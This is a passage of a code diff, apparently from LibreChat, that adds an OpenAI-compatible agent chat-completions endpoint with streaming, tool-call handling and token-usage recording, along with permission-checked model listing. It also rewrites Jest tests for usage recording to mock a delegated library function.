+ const isStreaming = request.stream === true && !streamingDisabled;
+
+ // Create tracker for streaming or aggregator for non-streaming
+ const tracker = isStreaming ? createOpenAIStreamTracker() : null;
+ const aggregator = isStreaming ? null : createOpenAIContentAggregator();
+
+ // Set up response for streaming
+ if (isStreaming) {
+ res.setHeader('Content-Type', 'text/event-stream');
+ res.setHeader('Cache-Control', 'no-cache');
+ res.setHeader('Connection', 'keep-alive');
+ res.setHeader('X-Accel-Buffering', 'no');
+ res.flushHeaders();
+
+ // Send initial chunk with role
+ const initialChunk = createChunk(context, { role: 'assistant' });
+ writeSSE(res, initialChunk);
+ }
+
+ // Create handler config for OpenAI streaming (only used when streaming)
+ const handlerConfig = isStreaming
+ ? {
+ res,
+ context,
+ tracker,
+ }
+ : null;
+
+ const collectedUsage = [];
+ /** @type {Promise[]} */
+ const artifactPromises = [];
+
+ const toolEndCallback = createToolEndCallback({ req, res, artifactPromises, streamId: null });
+
+ const toolExecuteOptions = {
+ loadTools: async (toolNames) => {
+ return loadToolsForExecution({
+ req,
+ res,
+ agent,
+ toolNames,
+ signal: abortController.signal,
+ toolRegistry: primaryConfig.toolRegistry,
+ userMCPAuthMap: primaryConfig.userMCPAuthMap,
+ tool_resources: primaryConfig.tool_resources,
+ });
+ },
+ toolEndCallback,
+ };
+
+ const openaiMessages = convertMessages(request.messages);
+
+ const toolSet = buildToolSet(primaryConfig);
+ const { messages: formattedMessages, indexTokenCountMap } = formatAgentMessages(
+ openaiMessages,
+ {},
+ toolSet,
+ );
+
+ /**
+ * Create a simple handler that processes data
+ */
+ const createHandler = (processor) => ({
+ handle: (_event, data) => {
+ if (processor) {
+ processor(data);
+ }
+ },
+ });
+
+ /**
+ * Stream text content in OpenAI format
+ */
+ const streamText = (text) => {
+ if (!text) {
+ return;
+ }
+ if (isStreaming) {
+ tracker.addText();
+ writeSSE(res, createChunk(context, { content: text }));
+ } else {
+ aggregator.addText(text);
+ }
+ };
+
+ /**
+ * Stream reasoning content in OpenAI format (OpenRouter convention)
+ */
+ const streamReasoning = (text) => {
+ if (!text) {
+ return;
+ }
+ if (isStreaming) {
+ tracker.addReasoning();
+ writeSSE(res, createChunk(context, { reasoning: text }));
+ } else {
+ aggregator.addReasoning(text);
+ }
+ };
+
+ // Event handlers for OpenAI-compatible streaming
+ const handlers = {
+ // Text content streaming
+ on_message_delta: createHandler((data) => {
+ const content = data?.delta?.content;
+ if (Array.isArray(content)) {
+ for (const part of content) {
+ if (part.type === 'text' && part.text) {
+ streamText(part.text);
+ }
+ }
+ }
+ }),
+
+ // Reasoning/thinking content streaming
+ on_reasoning_delta: createHandler((data) => {
+ const content = data?.delta?.content;
+ if (Array.isArray(content)) {
+ for (const part of content) {
+ const text = part.think || part.text;
+ if (text) {
+ streamReasoning(text);
+ }
+ }
+ }
+ }),
+
+ // Tool call initiation - streams id and name (from on_run_step)
+ on_run_step: createHandler((data) => {
+ const stepDetails = data?.stepDetails;
+ if (stepDetails?.type === 'tool_calls' && stepDetails.tool_calls) {
+ for (const tc of stepDetails.tool_calls) {
+ const toolIndex = data.index ?? 0;
+ const toolId = tc.id ?? '';
+ const toolName = tc.name ?? '';
+ const toolCall = {
+ id: toolId,
+ type: 'function',
+ function: { name: toolName, arguments: '' },
+ };
+
+ // Track tool call in tracker or aggregator
+ if (isStreaming) {
+ if (!tracker.toolCalls.has(toolIndex)) {
+ tracker.toolCalls.set(toolIndex, toolCall);
+ }
+ // Stream initial tool call chunk (like OpenAI does)
+ writeSSE(
+ res,
+ createChunk(context, {
+ tool_calls: [{ index: toolIndex, ...toolCall }],
+ }),
+ );
+ } else {
+ if (!aggregator.toolCalls.has(toolIndex)) {
+ aggregator.toolCalls.set(toolIndex, toolCall);
+ }
+ }
+ }
+ }
+ }),
+
+ // Tool call argument streaming (from on_run_step_delta)
+ on_run_step_delta: createHandler((data) => {
+ const delta = data?.delta;
+ if (delta?.type === 'tool_calls' && delta.tool_calls) {
+ for (const tc of delta.tool_calls) {
+ const args = tc.args ?? '';
+ if (!args) {
+ continue;
+ }
+
+ const toolIndex = tc.index ?? 0;
+
+ // Update tool call arguments
+ const targetMap = isStreaming ? tracker.toolCalls : aggregator.toolCalls;
+ const tracked = targetMap.get(toolIndex);
+ if (tracked) {
+ tracked.function.arguments += args;
+ }
+
+ // Stream argument delta (only for streaming)
+ if (isStreaming) {
+ writeSSE(
+ res,
+ createChunk(context, {
+ tool_calls: [
+ {
+ index: toolIndex,
+ function: { arguments: args },
+ },
+ ],
+ }),
+ );
+ }
+ }
+ }
+ }),
+
+ // Usage tracking
+ on_chat_model_end: createHandler((data) => {
+ const usage = data?.output?.usage_metadata;
+ if (usage) {
+ collectedUsage.push(usage);
+ const target = isStreaming ? tracker : aggregator;
+ target.usage.promptTokens += usage.input_tokens ?? 0;
+ target.usage.completionTokens += usage.output_tokens ?? 0;
+ }
+ }),
+ on_run_step_completed: createHandler(),
+ // Use proper ToolEndHandler for processing artifacts (images, file citations, code output)
+ on_tool_end: new ToolEndHandler(toolEndCallback, logger),
+ on_chain_stream: createHandler(),
+ on_chain_end: createHandler(),
+ on_agent_update: createHandler(),
+ on_custom_event: createHandler(),
+ // Event-driven tool execution handler
+ on_tool_execute: createToolExecuteHandler(toolExecuteOptions),
+ };
+
+ // Create and run the agent
+ const userId = req.user?.id ?? 'api-user';
+
+ // Extract userMCPAuthMap from primaryConfig (needed for MCP tool connections)
+ const userMCPAuthMap = primaryConfig.userMCPAuthMap;
+
+ const run = await createRun({
+ agents: [primaryConfig],
+ messages: formattedMessages,
+ indexTokenCountMap,
+ runId: responseId,
+ signal: abortController.signal,
+ customHandlers: handlers,
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
+ user: { id: userId },
+ });
+
+ if (!run) {
+ throw new Error('Failed to create agent run');
+ }
+
+ // Process the stream
+ const config = {
+ runName: 'AgentRun',
+ configurable: {
+ thread_id: conversationId,
+ user_id: userId,
+ user: createSafeUser(req.user),
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
+ ...(userMCPAuthMap != null && { userMCPAuthMap }),
+ },
+ signal: abortController.signal,
+ streamMode: 'values',
+ version: 'v2',
+ };
+
+ await run.processStream({ messages: formattedMessages }, config, {
+ callbacks: {
+ [Callback.TOOL_ERROR]: (graph, error, toolId) => {
+ logger.error(`[OpenAI API] Tool Error "${toolId}"`, error);
+ },
+ },
+ });
+
+ // Record token usage against balance
+ const balanceConfig = getBalanceConfig(appConfig);
+ const transactionsConfig = getTransactionsConfig(appConfig);
+ recordCollectedUsage(
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+ },
+ {
+ user: userId,
+ conversationId,
+ collectedUsage,
+ context: 'message',
+ messageId: responseId,
+ balance: balanceConfig,
+ transactions: transactionsConfig,
+ model: primaryConfig.model || agent.model_parameters?.model,
+ },
+ ).catch((err) => {
+ logger.error('[OpenAI API] Error recording usage:', err);
+ });
+
+ // Finalize response
+ const duration = Date.now() - requestStartTime;
+ if (isStreaming) {
+ sendFinalChunk(handlerConfig);
+ res.end();
+ logger.debug(`[OpenAI API] Response ${responseId} completed in ${duration}ms (streaming)`);
+
+ // Wait for artifact processing after response ends (non-blocking)
+ if (artifactPromises.length > 0) {
+ Promise.all(artifactPromises).catch((artifactError) => {
+ logger.warn('[OpenAI API] Error processing artifacts:', artifactError);
+ });
+ }
+ } else {
+ // For non-streaming, wait for artifacts before sending response
+ if (artifactPromises.length > 0) {
+ try {
+ await Promise.all(artifactPromises);
+ } catch (artifactError) {
+ logger.warn('[OpenAI API] Error processing artifacts:', artifactError);
+ }
+ }
+
+ // Build usage from aggregated data
+ const usage = {
+ prompt_tokens: aggregator.usage.promptTokens,
+ completion_tokens: aggregator.usage.completionTokens,
+ total_tokens: aggregator.usage.promptTokens + aggregator.usage.completionTokens,
+ };
+
+ if (aggregator.usage.reasoningTokens > 0) {
+ usage.completion_tokens_details = {
+ reasoning_tokens: aggregator.usage.reasoningTokens,
+ };
+ }
+
+ const response = buildNonStreamingResponse(
+ context,
+ aggregator.getText(),
+ aggregator.getReasoning(),
+ aggregator.toolCalls,
+ usage,
+ );
+ res.json(response);
+ logger.debug(
+ `[OpenAI API] Response ${responseId} completed in ${duration}ms (non-streaming)`,
+ );
+ }
+ } catch (error) {
+ const errorMessage = error instanceof Error ? error.message : 'An error occurred';
+ logger.error('[OpenAI API] Error:', error);
+
+ // Check if we already started streaming (headers sent)
+ if (res.headersSent) {
+ // Headers already sent, send error in stream
+ const errorChunk = createChunk(context, { content: `\n\nError: ${errorMessage}` }, 'stop');
+ writeSSE(res, errorChunk);
+ writeSSE(res, '[DONE]');
+ res.end();
+ } else {
+ // Forward upstream provider status codes (e.g., Anthropic 400s) instead of masking as 500
+ const statusCode =
+ typeof error?.status === 'number' && error.status >= 400 && error.status < 600
+ ? error.status
+ : 500;
+ const errorType =
+ statusCode >= 400 && statusCode < 500 ? 'invalid_request_error' : 'server_error';
+ sendErrorResponse(res, statusCode, errorMessage, errorType);
+ }
+ }
+};
+
+/**
+ * List available agents as models (filtered by remote access permissions)
+ *
+ * GET /v1/models
+ */
+const ListModelsController = async (req, res) => {
+ try {
+ const userId = req.user?.id;
+ const userRole = req.user?.role;
+
+ if (!userId) {
+ return sendErrorResponse(res, 401, 'Authentication required', 'auth_error');
+ }
+
+ // Find agents the user has remote access to (VIEW permission on REMOTE_AGENT)
+ const accessibleAgentIds = await findAccessibleResources({
+ userId,
+ role: userRole,
+ resourceType: ResourceType.REMOTE_AGENT,
+ requiredPermissions: PermissionBits.VIEW,
+ });
+
+ // Get the accessible agents
+ let agents = [];
+ if (accessibleAgentIds.length > 0) {
+ agents = await getAgents({ _id: { $in: accessibleAgentIds } });
+ }
+
+ const models = agents.map((agent) => ({
+ id: agent.id,
+ object: 'model',
+ created: Math.floor(new Date(agent.createdAt || Date.now()).getTime() / 1000),
+ owned_by: 'librechat',
+ permission: [],
+ root: agent.id,
+ parent: null,
+ // LibreChat extensions
+ name: agent.name,
+ description: agent.description,
+ provider: agent.provider,
+ }));
+
+ res.json({
+ object: 'list',
+ data: models,
+ });
+ } catch (error) {
+ const errorMessage = error instanceof Error ? error.message : 'Failed to list models';
+ logger.error('[OpenAI API] Error listing models:', error);
+ sendErrorResponse(res, 500, errorMessage, 'server_error');
+ }
+};
+
+/**
+ * Get a specific model/agent (with remote access permission check)
+ *
+ * GET /v1/models/:model
+ */
+const GetModelController = async (req, res) => {
+ try {
+ const { model } = req.params;
+ const userId = req.user?.id;
+ const userRole = req.user?.role;
+
+ if (!userId) {
+ return sendErrorResponse(res, 401, 'Authentication required', 'auth_error');
+ }
+
+ const agent = await getAgent({ id: model });
+
+ if (!agent) {
+ return sendErrorResponse(
+ res,
+ 404,
+ `Model not found: ${model}`,
+ 'invalid_request_error',
+ 'model_not_found',
+ );
+ }
+
+ // Check if user has remote access to this agent
+ const accessibleAgentIds = await findAccessibleResources({
+ userId,
+ role: userRole,
+ resourceType: ResourceType.REMOTE_AGENT,
+ requiredPermissions: PermissionBits.VIEW,
+ });
+
+ const hasAccess = accessibleAgentIds.some((id) => id.toString() === agent._id.toString());
+
+ if (!hasAccess) {
+ return sendErrorResponse(
+ res,
+ 403,
+ `No remote access to model: ${model}`,
+ 'permission_error',
+ 'access_denied',
+ );
+ }
+
+ res.json({
+ id: agent.id,
+ object: 'model',
+ created: Math.floor(new Date(agent.createdAt || Date.now()).getTime() / 1000),
+ owned_by: 'librechat',
+ permission: [],
+ root: agent.id,
+ parent: null,
+ // LibreChat extensions
+ name: agent.name,
+ description: agent.description,
+ provider: agent.provider,
+ });
+ } catch (error) {
+ const errorMessage = error instanceof Error ? error.message : 'Failed to get model';
+ logger.error('[OpenAI API] Error getting model:', error);
+ sendErrorResponse(res, 500, errorMessage, 'server_error');
+ }
+};
+
+module.exports = {
+ OpenAIChatCompletionController,
+ ListModelsController,
+ GetModelController,
+};
diff --git a/api/server/controllers/agents/recordCollectedUsage.spec.js b/api/server/controllers/agents/recordCollectedUsage.spec.js
index 6904f2ed39..21720023ca 100644
--- a/api/server/controllers/agents/recordCollectedUsage.spec.js
+++ b/api/server/controllers/agents/recordCollectedUsage.spec.js
@@ -2,23 +2,37 @@
* Tests for AgentClient.recordCollectedUsage
*
* This is a critical function that handles token spending for agent LLM calls.
- * It must correctly handle:
- * - Sequential execution (single agent with tool calls)
- * - Parallel execution (multiple agents with independent inputs)
- * - Cache token handling (OpenAI and Anthropic formats)
+ * The client now delegates to the TS recordCollectedUsage from @librechat/api,
+ * passing pricing and bulkWriteOps deps.
*/
const { EModelEndpoint } = require('librechat-data-provider');
-// Mock dependencies before requiring the module
const mockSpendTokens = jest.fn().mockResolvedValue();
const mockSpendStructuredTokens = jest.fn().mockResolvedValue();
+const mockGetMultiplier = jest.fn().mockReturnValue(1);
+const mockGetCacheMultiplier = jest.fn().mockReturnValue(null);
+const mockUpdateBalance = jest.fn().mockResolvedValue({});
+const mockBulkInsertTransactions = jest.fn().mockResolvedValue(undefined);
+const mockRecordCollectedUsage = jest
+ .fn()
+ .mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
jest.mock('~/models/spendTokens', () => ({
spendTokens: (...args) => mockSpendTokens(...args),
spendStructuredTokens: (...args) => mockSpendStructuredTokens(...args),
}));
+jest.mock('~/models/tx', () => ({
+ getMultiplier: mockGetMultiplier,
+ getCacheMultiplier: mockGetCacheMultiplier,
+}));
+
+jest.mock('~/models', () => ({
+ updateBalance: mockUpdateBalance,
+ bulkInsertTransactions: mockBulkInsertTransactions,
+}));
+
jest.mock('~/config', () => ({
logger: {
debug: jest.fn(),
@@ -39,6 +53,14 @@ jest.mock('@librechat/agents', () => ({
}),
}));
+jest.mock('@librechat/api', () => {
+ const actual = jest.requireActual('@librechat/api');
+ return {
+ ...actual,
+ recordCollectedUsage: (...args) => mockRecordCollectedUsage(...args),
+ };
+});
+
const AgentClient = require('./client');
describe('AgentClient - recordCollectedUsage', () => {
@@ -74,31 +96,66 @@ describe('AgentClient - recordCollectedUsage', () => {
});
describe('basic functionality', () => {
- it('should return early if collectedUsage is empty', async () => {
+ it('should delegate to recordCollectedUsage with full deps', async () => {
+ const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
+
+ await client.recordCollectedUsage({
+ collectedUsage,
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ });
+
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ const [deps, params] = mockRecordCollectedUsage.mock.calls[0];
+
+ expect(deps).toHaveProperty('spendTokens');
+ expect(deps).toHaveProperty('spendStructuredTokens');
+ expect(deps).toHaveProperty('pricing');
+ expect(deps.pricing).toHaveProperty('getMultiplier');
+ expect(deps.pricing).toHaveProperty('getCacheMultiplier');
+ expect(deps).toHaveProperty('bulkWriteOps');
+ expect(deps.bulkWriteOps).toHaveProperty('insertMany');
+ expect(deps.bulkWriteOps).toHaveProperty('updateBalance');
+
+ expect(params).toEqual(
+ expect.objectContaining({
+ user: 'user-123',
+ conversationId: 'convo-123',
+ collectedUsage,
+ context: 'message',
+ balance: { enabled: true },
+ transactions: { enabled: true },
+ }),
+ );
+ });
+
+ it('should not set this.usage if collectedUsage is empty (returns undefined)', async () => {
+ mockRecordCollectedUsage.mockResolvedValue(undefined);
+
await client.recordCollectedUsage({
collectedUsage: [],
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
expect(client.usage).toBeUndefined();
});
- it('should return early if collectedUsage is null', async () => {
+ it('should not set this.usage if collectedUsage is null (returns undefined)', async () => {
+ mockRecordCollectedUsage.mockResolvedValue(undefined);
+
await client.recordCollectedUsage({
collectedUsage: null,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).not.toHaveBeenCalled();
expect(client.usage).toBeUndefined();
});
- it('should handle single usage entry correctly', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
+ it('should set this.usage from recordCollectedUsage result', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 75 });
+ const collectedUsage = [{ input_tokens: 200, output_tokens: 75, model: 'gpt-4' }];
await client.recordCollectedUsage({
collectedUsage,
@@ -106,521 +163,122 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({
- conversationId: 'convo-123',
- user: 'user-123',
- model: 'gpt-4',
- }),
- { promptTokens: 100, completionTokens: 50 },
- );
- expect(client.usage.input_tokens).toBe(100);
- expect(client.usage.output_tokens).toBe(50);
- });
-
- it('should skip null entries in collectedUsage', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- null,
- { input_tokens: 200, output_tokens: 60, model: 'gpt-4' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
+ expect(client.usage).toEqual({ input_tokens: 200, output_tokens: 75 });
});
});
describe('sequential execution (single agent with tool calls)', () => {
- it('should calculate tokens correctly for sequential tool calls', async () => {
- // Sequential flow: output of call N becomes part of input for call N+1
- // Call 1: input=100, output=50
- // Call 2: input=150 (100+50), output=30
- // Call 3: input=180 (150+30), output=20
+ it('should pass all usage entries to recordCollectedUsage', async () => {
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 150, output_tokens: 30, model: 'gpt-4' },
{ input_tokens: 180, output_tokens: 20, model: 'gpt-4' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 100 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(3);
- // Total output should be sum of all output_tokens: 50 + 30 + 20 = 100
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.collectedUsage).toHaveLength(3);
expect(client.usage.output_tokens).toBe(100);
- expect(client.usage.input_tokens).toBe(100); // First entry's input
+ expect(client.usage.input_tokens).toBe(100);
});
});
describe('parallel execution (multiple agents)', () => {
- it('should handle parallel agents with independent input tokens', async () => {
- // Parallel agents have INDEPENDENT input tokens (not cumulative)
- // Agent A: input=100, output=50
- // Agent B: input=80, output=40 (different context, not 100+50)
+ it('should pass parallel agent usage to recordCollectedUsage', async () => {
const collectedUsage = [
{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
{ input_tokens: 80, output_tokens: 40, model: 'gpt-4' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 90 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- // Expected total output: 50 + 40 = 90
- // output_tokens must be positive and should reflect total output
+ expect(mockRecordCollectedUsage).toHaveBeenCalledTimes(1);
+ expect(client.usage.output_tokens).toBe(90);
expect(client.usage.output_tokens).toBeGreaterThan(0);
});
- it('should NOT produce negative output_tokens for parallel execution', async () => {
- // Critical bug scenario: parallel agents where second agent has LOWER input tokens
+ /** Bug regression: parallel agents where second agent has LOWER input tokens produced negative output via incremental calculation. */
+ it('should NOT produce negative output_tokens', async () => {
const collectedUsage = [
{ input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
{ input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- // output_tokens MUST be positive for proper token tracking
expect(client.usage.output_tokens).toBeGreaterThan(0);
- // Correct value should be 100 + 30 = 130
- });
-
- it('should calculate correct total output for parallel agents', async () => {
- // Three parallel agents with independent contexts
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- { input_tokens: 120, output_tokens: 60, model: 'gpt-4-turbo' },
- { input_tokens: 80, output_tokens: 40, model: 'claude-3' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(3);
- // Total output should be 50 + 60 + 40 = 150
- expect(client.usage.output_tokens).toBe(150);
- });
-
- it('should handle worst-case parallel scenario without negative tokens', async () => {
- // Extreme case: first agent has very high input, subsequent have low
- const collectedUsage = [
- { input_tokens: 1000, output_tokens: 500, model: 'gpt-4' },
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- { input_tokens: 50, output_tokens: 25, model: 'gpt-4' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- // Must be positive, should be 500 + 50 + 25 = 575
- expect(client.usage.output_tokens).toBeGreaterThan(0);
- expect(client.usage.output_tokens).toBe(575);
+ expect(client.usage.output_tokens).toBe(130);
});
});
describe('real-world scenarios', () => {
- it('should correctly sum output tokens for sequential tool calls with growing context', async () => {
- // Real production data: Claude Opus with multiple tool calls
- // Context grows as tool results are added, but output_tokens should only count model generations
+ it('should correctly handle sequential tool calls with growing context', async () => {
const collectedUsage = [
- {
- input_tokens: 31596,
- output_tokens: 151,
- total_tokens: 31747,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 35368,
- output_tokens: 150,
- total_tokens: 35518,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 58362,
- output_tokens: 295,
- total_tokens: 58657,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 112604,
- output_tokens: 193,
- total_tokens: 112797,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 257440,
- output_tokens: 2217,
- total_tokens: 259657,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
+ { input_tokens: 31596, output_tokens: 151, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 35368, output_tokens: 150, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 58362, output_tokens: 295, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 112604, output_tokens: 193, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus-4-5-20251101' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 3006 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- // input_tokens should be first entry's input (initial context)
expect(client.usage.input_tokens).toBe(31596);
-
- // output_tokens should be sum of all model outputs: 151 + 150 + 295 + 193 + 2217 = 3006
- // NOT the inflated value from incremental calculation (338,559)
expect(client.usage.output_tokens).toBe(3006);
-
- // Verify spendTokens was called for each entry with correct values
- expect(mockSpendTokens).toHaveBeenCalledTimes(5);
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- { promptTokens: 31596, completionTokens: 151 },
- );
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 5,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- { promptTokens: 257440, completionTokens: 2217 },
- );
});
- it('should handle single followup message correctly', async () => {
- // Real production data: followup to the above conversation
- const collectedUsage = [
- {
- input_tokens: 263406,
- output_tokens: 257,
- total_tokens: 263663,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(client.usage.input_tokens).toBe(263406);
- expect(client.usage.output_tokens).toBe(257);
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- { promptTokens: 263406, completionTokens: 257 },
- );
- });
-
- it('should ensure output_tokens > 0 check passes for BaseClient.sendMessage', async () => {
- // This verifies the fix for the duplicate token spending bug
- // BaseClient.sendMessage checks: if (usage != null && Number(usage[this.outputTokensKey]) > 0)
- const collectedUsage = [
- {
- input_tokens: 31596,
- output_tokens: 151,
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 35368,
- output_tokens: 150,
- model: 'claude-opus-4-5-20251101',
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- const usage = client.getStreamUsage();
-
- // The check that was failing before the fix
- expect(usage).not.toBeNull();
- expect(Number(usage.output_tokens)).toBeGreaterThan(0);
-
- // Verify correct value
- expect(usage.output_tokens).toBe(301); // 151 + 150
- });
-
- it('should correctly handle cache tokens with multiple tool calls', async () => {
- // Real production data: Claude Opus with cache tokens (prompt caching)
- // First entry has cache_creation, subsequent entries have cache_read
+ it('should correctly handle cache tokens', async () => {
const collectedUsage = [
{
input_tokens: 788,
output_tokens: 163,
- total_tokens: 951,
input_token_details: { cache_read: 0, cache_creation: 30808 },
model: 'claude-opus-4-5-20251101',
},
- {
- input_tokens: 3802,
- output_tokens: 149,
- total_tokens: 3951,
- input_token_details: { cache_read: 30808, cache_creation: 768 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 26808,
- output_tokens: 225,
- total_tokens: 27033,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 80912,
- output_tokens: 204,
- total_tokens: 81116,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 136454,
- output_tokens: 206,
- total_tokens: 136660,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 146316,
- output_tokens: 224,
- total_tokens: 146540,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 150402,
- output_tokens: 1248,
- total_tokens: 151650,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 156268,
- output_tokens: 139,
- total_tokens: 156407,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 167126,
- output_tokens: 2961,
- total_tokens: 170087,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 163 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- // input_tokens = first entry's input + cache_creation + cache_read
- // = 788 + 30808 + 0 = 31596
expect(client.usage.input_tokens).toBe(31596);
-
- // output_tokens = sum of all output_tokens
- // = 163 + 149 + 225 + 204 + 206 + 224 + 1248 + 139 + 2961 = 5519
- expect(client.usage.output_tokens).toBe(5519);
-
- // First 2 entries have cache tokens, should use spendStructuredTokens
- // Remaining 7 entries have cache_read but no cache_creation, still structured
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(9);
- expect(mockSpendTokens).toHaveBeenCalledTimes(0);
-
- // Verify first entry uses structured tokens with cache_creation
- expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- {
- promptTokens: { input: 788, write: 30808, read: 0 },
- completionTokens: 163,
- },
- );
-
- // Verify second entry uses structured tokens with both cache_creation and cache_read
- expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
- 2,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- {
- promptTokens: { input: 3802, write: 768, read: 30808 },
- completionTokens: 149,
- },
- );
- });
- });
-
- describe('cache token handling', () => {
- it('should handle OpenAI format cache tokens (input_token_details)', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'gpt-4',
- input_token_details: {
- cache_creation: 20,
- cache_read: 10,
- },
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4' }),
- {
- promptTokens: {
- input: 100,
- write: 20,
- read: 10,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should handle Anthropic format cache tokens (cache_*_input_tokens)', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'claude-3',
- cache_creation_input_tokens: 25,
- cache_read_input_tokens: 15,
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'claude-3' }),
- {
- promptTokens: {
- input: 100,
- write: 25,
